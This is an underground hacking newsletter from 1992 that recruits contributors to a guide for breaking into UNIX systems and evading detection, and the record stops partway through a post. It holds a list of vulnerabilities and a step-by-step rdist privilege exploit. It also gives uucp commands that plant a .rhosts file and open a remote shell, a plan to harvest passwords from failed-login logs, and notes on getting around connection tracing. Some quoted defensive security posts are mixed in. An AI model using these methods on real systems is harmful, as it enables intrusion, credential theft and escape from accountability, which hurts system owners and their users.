Copy Link
Add to Bookmark
Report
InfoHax Digest 02
InfoHax Digest, Number 2
Saturday, February 15th 1992
Today's Topics:
intro.hax2
hole.list
rdist.hole
rfc.authd.draft
b-wtmp.prog
son.of.IP
audit.tools
utmp_ed.c
rhosts.hole
unwho.pl (revision)
----------------------------------------------------------------------
Date: Thu, 13 Feb 92 09:39:40 -0700
Subject: intro.hax2
****************************************************************************
INFOHAX DIGEST 2
****************************************************************************
Well it's taken a while to get this second issue out, people have been a
little slow to get things submited, and I've been a bit slow to put it out.
my appoligies to everyone...
Getting an issue a week out really depends on getting the material, I
DON'T want to have to endlessly bug everyone about this, it took alot of
reminders to get this issue together. I used to run a HS underground paper,
and found that if an issue had come out recently, people were more
responsive to submitting material on a regular basis. It's all a matter of
momentum, so lets get this ball rolling!
Please send stuff in on a regular basis, I don't want to constantly
remind people, this projects success depends on YOU!
Perhaps one of the problems is a lack of direction, and people being abit
overwelmed with all the material. Were going to try something a little
different this time, actually several things, in addition to what we're
allready doing. Hopefully the kinks will work themselves out.
One other note: The existence of this project is best not common knowledge,
there are too many that would like to stop us. Let them find out about it
when everyone else does, after the fact.
First off, lets talk about how the voting went. The current members are:
0 XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX
0 XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX
0 XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX
0 XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX
X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX
X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX
X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX
X XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX
0 XXXXXXXXXXXXXXXX
You may knowtice '0's and 'X's in front of peoples names, yes we're trying
peer pressure... an 'X' means that this person has contributed something to
one of the infohax's so far, a '0' means they have not. Please note that 5
of these have promiced to contribute something specific in the near future,
but have been busy - I can understand that... But do yourself a favor, and
submit SOMETHING!, we all need to pull our weight here...
Next people who have been voted in but havn't responded.
XXXXXXXXXXXXXX - what's up guy?
also, XXXXXX and XXXX, you need to sub to the listserv...
finally, we have people that need to be voted on:
XXXXXXXXX (has 3.5, needs 5.5 more votes)
XXXXXXXXX (has 4, needs 5 more votes)
XXXXXXXXX (has 4, needs 5 more votes) - anyone know how to
contact him?
----------------------------------------------------------------------------
TOC/chapter organisation:
I havn't gotten mutch input here, so if something new comes up, we'll
just tack it to the end, till the rewrite...
0) Intro 11) Startup files
1) How Not to get Caught 12) User Utils
2) Monitoring (progs/net/accnt) 13) Programming Utils
3) Theory 14) Crypto
4) Getting in the Door 15) Devices
5) Getting Root 16) Passive Snooping
6) Networks (security/spoof/utils) 17) Patch level and version history
7) Accnt Security 18) sysadmin perspective (end of seed)
8) File System Security 19) Biblio
9) set uid progs 20) toolbox (code/scripts)
10) setgid progs
This isn't set in stone yet, but I need to hear from you soon, if
you don't like this... I suspect chapters 1, 2 and 6 will take the most
time. It was pointed out by PHz that monitoring programs are important,
in effect this really is part of chapter 1, but it's a large enough
subject that it really deserves a chapter of it's own. When we talk about
things like COPS, we need to know if their being used (what is a waste of
time - will a setuid script be found and tip our hand?), can we use these
tools to make our life easier?, what ISN'T being checked for? and things
like that.
----------------------------------------------------------------------------
DISCUSSION/FEEDBACK:
Results were abit pathetic here... basicly a couple of comments, it's
a tossup between going chapter by chapter, or jump arround... So we're
going to do both. The main thrust of the Digests will go chapter by
chapter, but anyone wanting to work on areas they know, or using other
chapters as a springboard are welcome to... We are also introducing two
new methods: 1)Rosco is going to submit a 'not worked out' hole every
week, this week it's rdist, we need people to expand on what's given, and
put it into the form of step by step instructions, pref w/ an example
showing commands given, and result... 2)The hole list: were starting this,
Dark Overlord contributed a seed, that we need to expand on, these are
holes that need to be expanded on, and explained. They are tiny bites,
that could be tackled by anyone with a little time. If you don't know
how to exploit any of the holes, please go through the other material, and
add to the hole list. (sort/extract). or pick your brain, and add to it
that way... the seed paper is another good source for this...
I'd like EVERYONE to contribute something to the hole list EVERY issue,
while it would be better to send instructions on how to exploit a hole,
noting the existence of a hole would be ok...
----------------------------------------------------------------------------
about research: we're still looking for a site to run wais/gopher/www on,
must be internet accessable (or a mail interface would be ok), and have
'extra' storrage/cpu cycles available... anything out there?
----------------------------------------------------------------------------
A final note on the why of it all: (insperation, for those that need it)
about infohax - infohax is a project born mainly of 3 observations: 1) the
mentors comment that most new hackers get busted before they have a chance
to become skilled in the art, 2) personal dissatisfaction about the ammount of
and quality of information out there on how to get into UNIX systems, and 3)
this great paper that fell into my hands that said 'consult your local
security guru' too much... the thought dawn'd on some of us that it would be
fun to gather some of the best minds in the community together and re-write
that paper, but taking it further...
ok, well enough, but what's to be the bennefit from this?
1) for some, a better reputation.
2) for all, sharring ideas, learning new tricks, making some new contacts, and
getting to know others in the community...
3) for some getting some material to put in their journals.
4) and I think that this is the most important, helping others become skilled
in the art so they have a chance to become good. This is important because the
quality of new hackers seems to be dimminishing, our ranks seem to be thinning,
and lets face it, there's basic self interest; the more good tallent out there,
the less chance they'll go after one of us! There is also the philisophic
concept of payback, all of us were helped by a number of people when we were
learning, this is a chance to help alot of people in the same way, but while
keeping them at arms length... (safer...)
I better shut up before I start quoting Mount Analog...
-------------------------------------------------------------------------------
So what's in this issue anyway?:
Hole list EVERYONE PLEASE WORK ON THIS!
rdist.hole DITO!, or at least one person... hole of the week....
wtmp.hacker comments on sysadmin.comments, and a tool someone is
working on...
rfc.authd.draft extracts from what's to replace rfc931, and comments on it
son.of.IP extracts from selected posts
audit.tool a paper on audit tools, notes on future trends
utmp_ed.c a editor for utmp in C, for hackers
rhost.hole a network security hole
unwho.pl revision of
-------------------------------------------------------------------------------
Some submissions are sighned, others not. If you got credit, and didn't
want it, don't put you sig in the body of the message. If you didn't get
credit and you wanted it, put you sig/handle/whatever in the body of your
mail.
You can send submissions eithor directly to me, or to: infohax@stormking.com
Lets get this thing rolling, try to submit stuff every week, or at least
every other...
Please vote!, and lets see a hole submission from EVERYONE!
Also badly needed are a packet forger (one was promiced, but never show'd),
and a ethernet stuffer. A genneral log editor/purger (also promiced, but...)
is also needed. If we don't find um, we need to start writing um...
thanks all!,
tangent
-------------------------------------------------------------------------------
------------------------------
Date: Thu, 13 Feb 92 09:52:08 -0700
Subject: hole.list
==============================================================================
Section Name chapter.sec.version 00/00/00
hole.list.01 hole.list.01 02/13/92
------------------------------------------------------------------------------
DATA:
/dev/fb
the frame buffer devices on at least suns are world
readable/writeable, which is at best annoying (when
someone runs something strange on you) and at worst
insecure (since someone can take a snapshot of your screen
via screenload or whatnot)
/dev/*st*, *mt*, etc (tape devices)
generally world readable/writeable, bad since others can
nuke your tapes, read your backups, etc.
chfn, chsh
used to create a root account
core
will system dump a setgid core image?
domain name system
a sysadmin running the soa for a domain somewhere can
create a bugs reverse address mapping table for one of his
hosts that causes its IP address to have the domain name
of a machine that my host has in its hosts.equiv file. if
i'm using the usual version of 'istrusted' (I think that's
the routine's name), the address lookup reveals the name
of the host to be one that my host trusts, and this other
sysadmin can rlogin into my machine or rsh or whatnot at
will.
fchown
test for bad group test
ftruncate
can be used to change major/minor numbers on devices
fingerd
hard .plan links - reading unreadable files readable by
user(fingerd)
setuid, .plan links
running as root
(fingerd_test.sh)
buffer overrun
file mod test.
test of file does not loose the setuid bit when modified
ftp
ftpd
static passwd struct overwrite
4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?).
overwrite stack somehow?
hosts.equiv
default + entry
istrusted routine - easy to spoof by bad SOA at remote
site with hacked reverse address map.
lock
4.1bsd version had the password "hasta la vista" as a
builtin trapdoor. (found in ultrix)
lost+found, fsck
lost+found should be mode 700, else others might see
private files.
lpd
its possible to ovberwrite files with root authority with
user level access locally or remotely if you have local
root access
lpr
lpr -r access testing problem
lprm
trusts utmp
passwd
fgets use allows long entries which will be mangled into
::0:0::: entries
also allows:
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
fred:...:...:...:Fred.....
Flintstone::/bin/sh
which is a root entry with no password!
fix - should skip to eol if it didn't read whole entry,
should enforce buffer limits on text in file, don't use
atoi (since atoi(/bin/sh) is 0).
portmap
allows other net entities to make bindings - may not be a
"security hole", can lead to denial of service.
rcp
nobody problem
rexd
existence
rwall,comsat
running as root, utmp world writeable, writes to files as
well as devices in utmp dev fields.
rdist - buffer overflow
selection_svc
allowed remote access to files
sendmail
debug option
wizard mode
TURN command
allows mail to be stolen
decode mail alias - anyone can send mail to decode, write
to any file onwed by daemon, if they can connect to
sendmail daemon, can write to any file owned by any user.
overflow input buffer
cause the sendmail deamon to lock up
overwrite files
sendmail can be "tricked" into delivering mail
into any file but those own my root.
-oQ (different Q)
fixed in newer versions
mqueue must not be mode 777!
what uid does |program run with?
sendmail -bt -C/usr/spool/mail/user - in old versions,
allows you to see all lines of the file.
setuid bit handling
setuid/setgid bit should be dropped if a file is modified
fix: kernel changes
setuid scripts
there are several problems with setuid scripts. is it
worth writing tests for these? some systems might have
fixed some of the holes - does anyone know how one fixes
these problems in a proactive fashion?
sh
IFS hole (used with vi, anything else?)
su
overwrite stack somehow?
tcp/ip
sequence number prediction makes host spoofing easier
source routing make host spoofing easier
rip allows one to capture traffic more easily
various icmp attacks possible
(I suspect a traceroute'd kernel will allow one to easily
dump packets onto the ethernet)
tftp
allows one to grab random files (eg, /etc/passwd).
fix - should do a chroot
allows puts as well as gets, no chroot
fix - don't run as root, use chroot, no puts, only if boot
server.
utmp
check to see if world writeable (if so, the data can't be
trusted, although some programs are written as though they
trust the data (comsat, rwalld)).
uucp
check if valid uucp accounts are in the /etc/ftpusers. If
the shell is uucico and passwd is valid make sure it is
listed in ftpusers.
check to see that uucp accounts have shell: if left off,
folks can do:
cat >x
myhost myname
^D
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i
HDB nostrangers shell escape
HDB changing the owner of set uid/gid files
HDB meta escapes on the X command line
HDB ; breaks on the X line
uudecode
if it is setuid, some versions will create setuid files
ypbind
accepts ypset from anyone (can create own ypserv and data,
and ypset to it...)
ypserv spoofing
send lots of bogus replies to a request for root's passwd
entry, while doing something that would generate such a
request [I'm pretty sure that this is possible, but
haven't tried it.]
AIX
* password means use root's password?
AIX 2.2.1
shadow password file (/etc/security/passwd) world
writeable
fix - chmod 600...
386i login
fix - nuke logintool, hack on login with adb, chmod 2750
ultrix 3.0 login
login -P progname allows one to run random programs as root.
fix - chmod 2750.
xhost:
if access access control is disabled any one can connect to
a X display it is possible and create (forge) and/or
intercept keystrokes.
-XXXXXXXXXX
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
Date: Thu, 13 Feb 92 10:25:40 -0700
Subject: rdist.hole
==============================================================================
Section Name chapter.sec.version 00/00/00
rdist.hole 06.00.00 02/13/92
------------------------------------------------------------------------------
DATA:
In the RDIST program, a subprogram called SERVER.C has a
subroutine called CHOG which issues two faulty calls to SETREUID.
To exploit this, you:
o Create a very large file with garbage in it.
o Make the file SETUID
o Create /temp directory
o RDIST -C filemane hostname:/temp
o Suspend the job that is updating the large file.
o Within /temp, there will be two files created by RDIST... One
by the server, the other by the client.
o REMOVE the file with a filesize greater than zero.
o Replace the REMOVEd file with a symbolic link to the target (victim)
file (hint: use the LN command).
o Unsuspend the process.
o RDIST will now change the target file protection to the same
as the temp file.
The above will work on all Berkeley, SUN, and SCO systems. Life
is a bitch, then you grow old.
-XXXXXXX
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Thu, 13 Feb 92 10:38:18 -0700
Subject: rfc.authd.draft
==============================================================================
Section Name chapter.sec.version 00/00/00
rfc.authd.draft 01.13.00 02/13/92
------------------------------------------------------------------------------
DATA:
(This is extracted from the complete draft that should be available
on the INFOHAX fileserver)
The Identity Server announces the user of a particular TCP connection
to the host on the other end of the connection. Given a TCP port
number pair, it returns a character string which identifies the owner
of that connection on the server's system. Suggested uses include
detection of SMTP and NNTP forgeries, additional verification for a
remote login, terminal server usernames, and user-to-user file
transfer. A particularly important application of the Identity Server
in today's Internet is tracing network attackers through mainframes.
This is a connection-based application which runs over TCP. The
server listens for TCP connections on port 113 (decimal).
5. Caveats
The user identifier returned by the Identity Server on a host is only
A> as trustworthy as the host itself. (Needless to say, the association
between a user identifier and a real person is only as secure as the
mechanism by which the host establishes that association.)
Attempts to interpret the user identifier outside the context of the
host will inevitably lead to security violations. Therefore the
client must never use a user identifier without also keeping track of
the IP address whose Identity Server generated the identifier. When
possible it should also keep track of the domain name corresponding
to that IP address.
B> In theory, the Identity Server decreases security by announcing
usernames which, were it not for SMTP, Finger, and several other
protocols, could be kept secret. Administrators of hosts supporting
the Identity Server should be aware that as soon as user shmoe
connects to host X, anyone on host X can find out shmoe's username
simply by guessing the TCP port numbers.
6. Identity Server security
This section provides an informal discussion of the security added by
the Identity Server. It is important to note at the outset that this
server does not in any way remove the need for protocols, such as
Kerberos, which encrypt data. The Identity Server can and should be
used to supplement, never to replace, existing security mechanisms.
The Identity Server completely eliminates username forgeries above
the TCP level. On a host supporting this RFC, a forger, system
cracker, or other criminal cannot hide behind the anonymity of a TCP
C> connection; to forge his username he must forge TCP packets.
(It goes without saying that if a system cracker acquires privileges
and disables the proper functioning of the Identity Server, then the
usernames reported by the server will not be accurate. In that
situation ``username forgery'' does not even make sense, for the
system cracker has complete control over all usernames. As stated in
section 5, the user identifier returned by the Identity Server on a
host is only as trustworthy as the host itself.)
Unfortunately, forging TCP packets is rather easy. Bellovin has
outlined several attacks which compromise IP and TCP [1]. The
Identity Server happens to make some of the attacks much more
D> difficult. For instance, a fake source route will be ignored when the
target makes a second connection to the Identity Server, so a
username cannot be faked with source route attacks. Some attacks are
E> also ineffective against after-the-fact tracing: for example, posing
as another host on the same Ethernet while that host is down can
always be detected (though it is very difficult to trace this attack
back to its source). Furthermore, the Identity Server uses IP
addresses, so it avoids the Domain Name Server's lack of security.
Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity
Server cannot even be spoofed by an attacker who can read every
packet sent across the network.
F> However, ICMP Redirects and other comprehensive routing attacks can
be neither detected nor stopped from anywhere except the target
router. To completely stop forgeries requires not only the Identity
Server but a secure TCP. Kerberos v5 [6] solves these problems
thoroughly and efficiently, although it does not yet fully support
wide-area networks.
G> It is perhaps worthwhile to draw an analogy between the Identity
Server and security in the telephone system. Without the Identity
Server, a phone trace (or Caller-ID, where it is permitted by local
regulations) provides the phone number of the caller. When the phone
number is the number of a large company and the caller was actually
at an extension inside the company, this tracing mechanism is nearly
useless.
The Identity Server provides the extension. Admittedly, the extension
is meaningless when the phone number refers to someone's house (a
microcomputer), or to a company that lets its employees pick their
extensions (an insecure mainframe). But it provides a huge benefit
for tracing within honest companies. If Foo Corp. tells Bar Inc. that
it's been receiving prank calls (forged mail, system cracking) from
one of Bar's phone numbers, Bar can't do anything. But if Bar has
installed the Identity Server, Foo can find out the phone extension
as well, and Bar can track down the renegade employee.
Someone who can invade the security of the phone system itself (i.e.,
someone who breaks TCP) will find the Identity Server at most a minor
nuisance. To stop him you'd have to start encrypting your phone lines
(Kerberos). But for most people the Identity Server removes the
anonymity provided by large organizations (mainframes) all of whose
calls are tagged with the same phone number (IP address). It thus
forms a quite effective deterrent.
A common argument against RFC 931 was that its usernames are
meaningless for microcomputers. However, consider the phone analogy.
It doesn't matter that Dr. Shmoe can forge extensions within his own
house to his heart's delight---because anyone who traces his prank
calls will find out that they came from Shmoe's house. Nobody will
care about the faked extension when Dr. Shmoe is arrested. In other
words, the Identity Server neither helps nor hurts the security of
such connections.
Note that if ``Shmoe's house'' is instead a public meeting place with
no physical security and with public phones which let users specify
any extensions they want, it will not be possible to trace calls to
the actual people who happened to be using those phones. In other
words, if a microcomputer or unprotected workstation with no physical
security is available for the public to use, it will not be possible
to trace security violations emanating from that computer. Once again
this is a problem independent of the Identity Server. The Identity
Server is beneficial in that it discriminates between the users of a
multi-user computer.
7. Applications
The most important use of the Identity Server in today's Internet is
to track system crackers across the network. A combination of IP
lookups and Ethernet tracing usually suffices to identify the
physical machine involved in an ongoing attack. However, if that host
has many users and its manager is not available, there is no way to
identify which user is responsible for the attacks. It has thus
H> become popular with system crackers to log into a series of
mainframes, each providing an extra layer of anonymity. The Identity
Server removes this anonymity by announcing the username at each
step. As more and more hosts on the Internet support the Identity
Server, it will become more and more difficult for an attacker to
avoid leaving a trail of usernames.
I> Another natural use of the Identity Server is to detect SMTP and NNTP
forgeries. Patches are available for sendmail [3] and nntpd [5] to
record the sending username. FTP can record the name of the user
performing an "anonymous ftp" [4], rather than depending on the user
to give his name. Many other user-level protocols, such as BSD talk
[2], can also benefit from user identifiers. Note that all these
applications use the Identity Server to supplement, never to replace,
other security mechanisms.
The user identifier provided by the Identity Server can allow more
secure authentication and finer access control for remote login than
some current access control mechanisms, which are based solely on the
incoming IP address and host name. If the identifier is also recorded
in system logs, then network attacks can be traced back to individual
users rather than entire mainframes, as discussed above. It is
important to note that this in no way removes the need for passwords
or other forms of cryptographic authentication. The Identity Server
supplements, never replaces, other security mechanisms.
J> Many sites have terminal servers which allow Internet connections. A
user can connect to the server, then connect to anywhere on the
Internet (or, in some cases, anywhere on the local net). With the
Identity Server, terminal servers can record usernames, then report
those usernames on outgoing connections. For instance, if
joe@host.com connects to terminalserver.edu and then to site.gov,
terminalserver.edu can respond to an Identity Server request with
USERID : OTHER : joe@192.6.6.6(host.com). The login might show up in
site.gov's logs as joe@192.6.6.6(host.com)@terminalserver.edu. This
would prevent abuse of the terminal servers for anonymous system
cracking attempts. Note once again that the Identity Server only
supplements other security mechanisms (though in this case there
typically aren't any other security mechanisms to begin with).
The Identity Server can also be used for user-to-user file transfer,
where one user SENDs a file and another RECEIVEs it without
passwords. The file is queued on the sending host, not the receiving
host. SEND can be implemented as a mail message or other notification
of a TCP port where the file can be picked up. RECEIVE is then a
connection to that TCP port; the receiver uses the Identity Server to
make sure the sender is who he should be, and vice versa. Of course,
the Identity Server is only a minimal security mechanism necessary to
make a SEND-RECEIVE protocol practical. It would be better if all
communications were completely encrypted.
8. References
[1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol
Suite", Computer Communications Review, April 1989.
[2] Bernstein, D. J., "Unofficial patches to talk for RFC 931
support", February 1991. Available for anonymous ftp from
wuarchive.wustl.edu in usenet/alt.sources/articles/2687.Z.
[3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931
support", February 1991. Available for anonymous ftp from
wuarchive.wustl.edu in usenet/alt.sources/articles/2728.Z.
[4] Myers, C., "wuarchive ftpd", September 1991. Available for
anonymous ftp from wuarchive.wustl.edu in
packages/ftpd.wuarchive.shar.
[5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991.
Available for anonymous ftp from wuarchive.wustl.edu in
usenet/alt.sources/articles/2746.Z.
[6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of
Technology, June 1991.
------------------------------------------------------------------------------
Comments:
A> If you have root, you can change usernames, or su to anybody
B> not mutch of a concern
C> Packet forgers are becoming more important, as are ethernet stuffers, we
need to work on this area...
D> source route attacks - need info...
E> posing as down host - need info...
F> ICMP redirects and other comprahensive routing attacks - need info...
G> a usefull way arround it...
H> So this will be like SxS switches, where we'll need to go through a
system that doesn't support the tracing to evade it...
I> SMTP and NNTP forgeries - please write something on this, someone...
Comments:
J> Of cource we NEVER use someone elses account, god forbid we ran a password
cracker...
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Thu, 13 Feb 92 10:37:14 -0700
Subject: b-wtmp.prog
==============================================================================
Section Name chapter.sec.version 00/00/00
b-wtmp.prog 01.12.00 02/13/92
------------------------------------------------------------------------------
DATA:
Feedback on sec 01.01.00, sysadmin.comments and a program being worked on
as a result:
The line:"Some of them will show passwords typed in where usernames should
be, which is why btmp is supposed to be readable only by root"
Ok, so if you can get root, and read this file, you should be able to get
a few passwords out of it. To help this task a program that would automate
some of this would be usefull. This tool would corellate usernames that
logged in arround that time with entries where they made a typo or something.
There are basicly 3 types of entries that are likely to be found:
1) the user types in a legit password, but eithor puts it in the login field,
makes a typo, or is hit with linenoise. in any of these cases you should
have most or all of the password.
2) the user types in the wrong password (check .forward files, lastcomm, etc
to try to figure out where else they have an account.)
3) hackers... won't get anything from these entries...
Anyway, a program should be able to match those entries that are from
users on the system, and identify what category of problem exists... ie:
username is 1 char off: password is probably good
username and password clean: maybe typo, or password on dif system
username doesn't exist: hacker
garbage in password: linenoise, may be worth guessing/brute force
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Thu, 13 Feb 92 10:39:08 -0700
Subject: son.of.IP
==============================================================================
Section Name chapter.sec.version 00/00/00
son.of.IP 01.14.00 02/13/92
------------------------------------------------------------------------------
DATA:
>I have used the hosts_access package with some success. What this
>package does is disable connections from a host or set of hosts. So
>you set up all of the machines on your ethernet with the host_access
>package, and set up the files so that any attempt to use a tcp service
>from your gateway is canceled.
The most recent version now also supports access control and monitoring
of UDP and RPC requests. Available from ftp.win.tue.nl (131.155.70.100),
file /pub/security/log_tcp.shar.Z.
-----------------------
TdR> In fact, if your site uses the name daemon, and the intruder can guess
TdR> what just one line in your .rhosts file says, he can get into your
TdR> account very easily. Yeah, yeah, CERT & gang have been told.
Sun actually got this one right, though they did it in the wrong place ;-)
Sun's resolver library won't return a name on a gethostbyaddr() unless
an A record lookup on that name returns that address. This is great for
r-access, but not so hot for stuff like traceroute, since *some* people
(hi NSF) don't have proper A records matching their PTRs.
There's also she host_access package (look for log_tcp with archie) that
has a define, -DPARANOID, which does the same thing (disallows
connections from sites that don't match properly) and can be added on to
any system. It can also block telnet/rlogin/whatever from sites you
don't want to hear from (open terminal servers at someone else's site,
perhaps ;-)
------------------
TCP/IP Connection Monitoring
It is occasionally needed to perform ethernet monitoring to check for
unauthorized connections (connections from random machines around the
internet to the telnet (or other) ports). You might not want to
restrict all access, but one the other hand you want to keep an eye on
what is going on. The only problem is that programs like tcpdump or
etherfind monitor the ethernet on a packet-by-packet scale instead of
on a connection bases (one line per connection) which makes it
difficult to get an idea of what is happening (since you can easily
lose or forget about packets that get overwhelmed by voluminous
connections. So in order to solve this problem I wrote conmon.
conmon takes the output of tcpdump and prints a given connection only
the first time it is seen so that you can easily see all connections.
Every screenful of connections it clears the current list of
connections so that active connections will be seen on the new screen.
Both tcpdump and conmon are available for anonymous ftp from
ftp.ctr.columbia.edu [128.59.64.40]
-------------------
New network security mailing list: rfc931-users
RFC 931, the Authentication Server, stops the most common type of mail
and news forgery, increases the security of other TCP connections, and
helps security organizations trace Internet attackers. It is supported
by at least three (completely interoperable) UNIX server implementations,
used by several clients including the newly released wuarchive ftpd, and
installed at sites throughout the United States and Europe, ranging from
the Air Force to companies as large as 3M. It is currently the only
freely available wide-area TCP security protocol, yet it can run in
tandem with other security protocols such as Kerberos.
I've created a new mailing list, rfc931-users, for people who want to
use the Authentication Server to solve problems. The mailing list is
rfc931-users@kramden.acf.nyu.edu; to join, send mail to brnstnd@nyu.edu.
------------------
> Is it possible to fake the source of a packet traveling on the net?
> The obvious secuirty breach I'am thinking of is this: Machine A is remotely
> connected to Machine B. Is it possible to send information; ie commands,
> to Machine B from another machine and make Machine B **think** it came
> from Machine A? Kerebose can provide security when you first connect, but
> after the connection is made......
Yes, of course. Depending on the Protocol. For TCP/IP you can read a good
summary on Security Problems in
S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer
Communication Review, Vol 19, No 2, pp 32-48, April 1989.
--------------------
>Is anyone able to name me an ftp-server which contains this document?
You can find it at: research.att.com under: dist/Secure_Internet_Gateway.ps
Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems
in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19
No. 3, July 1989, pp. 10-19.
--------------------
Re: NIS and password security
There have been a number of queries and some not completely accurate
information posted on this question. I'll try to summarise the problem and
suggested workarounds. None of the workarounds is particularly satisfactory,
The problem is this: ypserv is totally indiscriminate about which machines
it will respond to queries from. Normal NIS maps can be read by anyone
on the Internet who can route packets to your NIS server and back.
"secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier
is using a privileged port (< 1024). This means that anyone can read your
"secure" maps if they can crack root on some machine on the Internet
and can route packets to your machine.
The bug means that many machines on the Internet which use NIS are
vulnerable to having their password files stolen and run through "Crack" or
similar. Arguments about whether distributing Crack and fast U*ix encryption
algorithms was a good idea aside, every wannabe cracker now has a copy
of a reasonably state-of-the-art password guesser.
As I said in my earlier post on this subject, the combination "I'm NIS
and I serve everyone" and easily available password guessers has already
led to breakins at some sites.
This bug was reported to Sun in April 1990, and CERT has also been aware
of it for about the same length of time.
I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's
called this week, which I understand will be available in Solaris 2.0.
What to do about it:
1) The Sun Party Line. "Don't run ypserv on your gateway and disable
IP forwarding on the gateway". This is commonly known as a
"firewall" (provided the machine is also in other respects
reasonably secure) and is probably already done by many commercial
users of the Internet. It is not the greatest in convenience, and
most University sysadmins would encounter, lets say, a little user
resistance. Managing the gateway is also a pain. Switching off
`routed' alone, as has been suggested here, is usually insufficient.
However, provided the security of the firewall is not breached, you
are safe from this attack, and many others. Instructions on how
to disable IP forwarding in the kernel are in Sun's Network Admin
manual.
2) The Lamb Party Line. If you communicate to the outside world through a
smart router, filter out packets coming from external connections
addressed to destination ports sunrpc/udp&tcp (port 111) and ports
600-1023, tcp&udp. This will prevent access to *all* sunrpc services
from outside the router. It will also block access to the Kerberos
protocols (probably also not a bad idea given the info. in Steve
Bellovin's paper about Kerberos security problems), and will
probably block the BSD `r' (rcp,rlogin, etc) commands, but don't
count on it doing so. If you and your router are smart enough, you
may be able to make the `r' commands work. Eg, for rlogin, allow
the packets through iff their source is 513/tcp (this opens up a hole
for a sufficiently clever cracker, though). Blocking port 111 alone
is insufficient but will block the most obvious attacks (including
those I've been told have already actually occurred).
The above two solutions are the only real answers to the problem. There
are some workarounds which make life harder for the potential cracker.
1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess
your NIS domain name in order to talk to ypserv. This is purest security-
through-obscurity. The domain name is normally only handled by
automatic systems, and can be up to 64 characters long. Making the first
part a reasonable handle may help system administration. Something like
my-old-domainname-Ldp.T2d9wCY
is probably reasonable. This precaution is vulnerable to "social
engineering" attacks, ie. the cracker trying to fool a user at your site
to reveal the domain name, since the NIS domain name can be discovered by
any user on your machines.
2) Use passwd+ or npasswd to vet passwords. If you do this, you need to
make all your users put their current password through the new
password program. Using a premptive check on passwords for idiotic
usage is a good idea anyway, independent of whether you use NIS or
not. If you have Suns and you'd rather spend money than install
free software, Sun Shield (TM) also provides this capability, along
with other more or less useful things. Convex provides some similar
capabilities in their passwd(1) program. Some other manufacturers
may also have similar capabilities. The more sites that do this, the more
frustrating it will become for crackers trying to guess passwords.
Note that this problem is common to all versions of NIS or Yellow Pages,
that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0,
but it seems that this will be a little while coming, and for non-Sun
machines even further off.
Using NIS in combination with Sun's so-called `C2' security will *not* help.
For those not aware of current technology in password guessing programs,
Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against
a U*ix encrypted password on any modern RISC workstation. This means that
an encrypted password can be checked against the entire /usr/dict/words
in less than a minute. "Crack" has been posted to the network, and you
can assume that most crackers and wannabe's have a copy.
PS: Sorry, I will not respond to requests for more details about how to
exploit this hole. Sun and CERT have full details. If you have a Sun
s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId
was 1036869. Please contact Sun if you feel you need more details.
----------------------
You might look at in.src a program provided by CIAC to do just what
you ask. You can get it by anon ftp from
irbis.llnl.gov:/ftp/pub/util/insrc.tar.Z
---------------------
in.gate ftp site
Seems as if the cat is out of the bag (before I was really ready :-),
in.gate is available by anonymous ftp from:
Site: cse.ogi.edu
Directory: pub/in.gate
File:in.gate-1.01.shar
--John Pochmara
pochmara@cse.ogi.edu
P.S. the only different between 1.01 and 1.0 is some
documentation changes.
-----------------------
We also have a modified version of the inetd available as a source patch to
the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support
rpc services, I would however be happy to update it when I can obtain an
inetd with rpc.
The server reads a configuration file containing lines of the form:
ajax.rsre.mod.uk finger/tcp, talk/udp
rsre.mod.uk smtp/tcp
Where the first component contains a host name (in DNS format) or a partial
domain specification (such as rsre.mod.uk). This has the advantage of allowing
services to be permitted on domain/administrative boundaries rather than on
physical ip addresses.
Development is still under way, but the initial implementation has proved
useful and is used to filter most of our incoming services.
The daemon also logs all incoming service requests indicating the source IP
address of denied service requests.
I can send the source patch to any interested parties.
Dave Ferbrache
Defence Research Agency
St Andrews Road
Great Malvern
+44 684 895986
---------------------
A version of the tcp-log program which offers the possibility of starting
different services, depending on who calls, or of giving an appropriate
error string while rejecting connections is available for ftp from
ftp.bnr.co.uk as "Exports/tcp-switch.sh"
Otherwise the functionality seems simmilar to in.gated described elsewhere
on this list.
I hope you find it useful.
----------------------
I showed some of this discussion to my friend Roland McGrath, of FSF
who said, "I did one of those." So I asked him for a copy. He sent
me a shar file prefaced by a few comments which I extract from:
Here is a shar of the source to my inetd. It is a modified version of the
4.4 inetd. I got the original Berkeley sources from ftp.uu.net. Systems
which have a real setsid call should not use setsid.c, which I wrote to
emulate setsid on 4.3BSD.
I am actively maintaining this program, and am interested in bug reports.
However, I'm maintaining only for the purpose of the FSF's use of it, and
am not particularly interested in new features that will not be of use to
us (I'll listen to suggestions, though).
There is no documentation. You can get the BSD inetd manpage from uunet.
My changes to their version are:
